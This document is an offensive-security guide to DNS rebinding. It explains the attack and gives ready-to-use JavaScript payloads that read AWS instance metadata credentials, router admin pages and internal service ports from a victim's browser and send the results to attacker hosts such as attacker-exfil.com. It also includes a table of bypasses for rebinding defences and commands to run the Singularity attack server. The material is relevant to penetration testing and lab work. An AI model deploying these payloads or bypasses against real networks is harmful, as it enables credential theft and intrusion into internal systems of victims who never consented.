DNS Rebinding

What is DNS Rebinding

DNS rebinding circumvents the Same-Origin Policy (SOP) by:

1. Attacker’s domain first resolves to attacker’s server (loads malicious JS).
2. Attacker lowers the DNS TTL to 0 (or very short, ~1 second).
3. The malicious JS makes the browser wait, then makes a cross-origin request to the same attacker domain.
4. The DNS record is now changed to resolve to an internal IP (e.g., 192.168.1.1, 169.254.169.254).
5. The browser’s SOP check allows the request because origin (attacker.com) hasn’t changed.
6. The browser sends the request to the internal network — using the victim’s network position.

The browser is weaponised as an SSRF proxy using the victim’s session context and network access.

---

Detection

Step 1 — Identify browser-initiated requests to the same origin

Look for JavaScript that polls or communicates with the same origin as the attacker’s site.

Step 2 — Test TTL response to rapid DNS changes

Use a controlled domain (Interactsh, Burp Collaborator Pro, or your own DNS server) and test whether the target browser caches DNS longer than expected.

Step 3 — Confirm internal network access

If the target uses a browser-based admin panel, IoT device, router management page, or cloud IMDS endpoint (169.254.169.254) accessible from the victim’s network — these are all targets for DNS rebinding.

---

Attack Flow

Setup

1. Register a domain (e.g., evil.com) and control the DNS server.
2. Set DNS TTL to 0.
3. Host the attack JS on the domain.
4. The DNS initially resolves to your server IP.

Execution

// Served from evil.com — runs in victim's browser
function attack() {
  // After initial load and DNS rebind, this request goes to the internal target
  fetch('http://evil.com:8080/admin/api/users')
    .then(r => r.text())
    .then(data => {
      // Exfiltrate to attacker's real server
      fetch('https://attacker-exfil.com/collect?data=' + btoa(data));
    });
}

// Wait for DNS rebind (TTL expires)
setTimeout(attack, 5000);

DNS manipulation

During the 5-second wait, change the DNS A record for evil.com to 192.168.1.1 (router) or 169.254.169.254 (AWS IMDS).

The browser re-resolves and hits the internal target, but SOP considers it same-origin as evil.com.

---

Exploit 1: Cloud IMDS Bypass (AWS/GCP/Azure)

Target: 169.254.169.254

After rebind, the victim’s browser fetches:

fetch('http://evil.com/latest/meta-data/iam/security-credentials/')
  .then(r => r.text())
  .then(data => sendToAttacker(data));

This fetches AWS IAM credentials from the instance metadata service using the victim EC2 instance’s network position.

---

Exploit 2: Router / IoT Admin Panel

Rebind evil.com to 192.168.1.1 (common router default gateway):

fetch('http://evil.com/admin', {credentials: 'include'})
  .then(r => r.text())
  .then(data => exfil(data));

The request includes the victim’s cookies (if the router admin session is active) — reads or changes router configuration.

---

Exploit 3: Kubernetes Dashboard / Internal API

Rebind to 10.0.0.1 or localhost:8080:

// Enumerate internal services
const ports = [80, 443, 8080, 8443, 3000, 5000, 6379];
ports.forEach(port => {
  fetch(`http://evil.com:${port}/`)
    .then(r => r.text())
    .then(html => sendToAttacker({port, html}))
    .catch(() => {});
});

---

Bypassing DNS Rebind Defences

Defence	Bypass
DNS TTL enforcement	Use multiple subdomains, each with 0 TTL; rotate them
Private IP blocking at DNS	Use 0.0.0.0 or ::1 (IPv6 loopback)
Host header validation	Include Host: 192.168.1.1 if the internal service doesn’t validate
Browser DNS cache	Race the TTL; use HTTP keep-alive teardown to force re-resolution

---

Tools

# Singularity of Origin — full DNS rebinding attack framework
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/*.go

# DNS rebinding attack server
./singularity -hport 8080 -lport 53 -rebindTo 192.168.1.1

# Interactsh — OOB DNS confirmation
interactsh-client

---

Burp Suite workflow

1. DNS rebinding doesn’t route through Burp directly — it’s browser-based.
2. Use Collaborator to confirm DNS resolution timing from victim browsers.
3. Burp’s browser (Chromium) can be used as the victim browser in a lab setup.
4. Capture exfiltrated data at your Collaborator/webhook endpoint.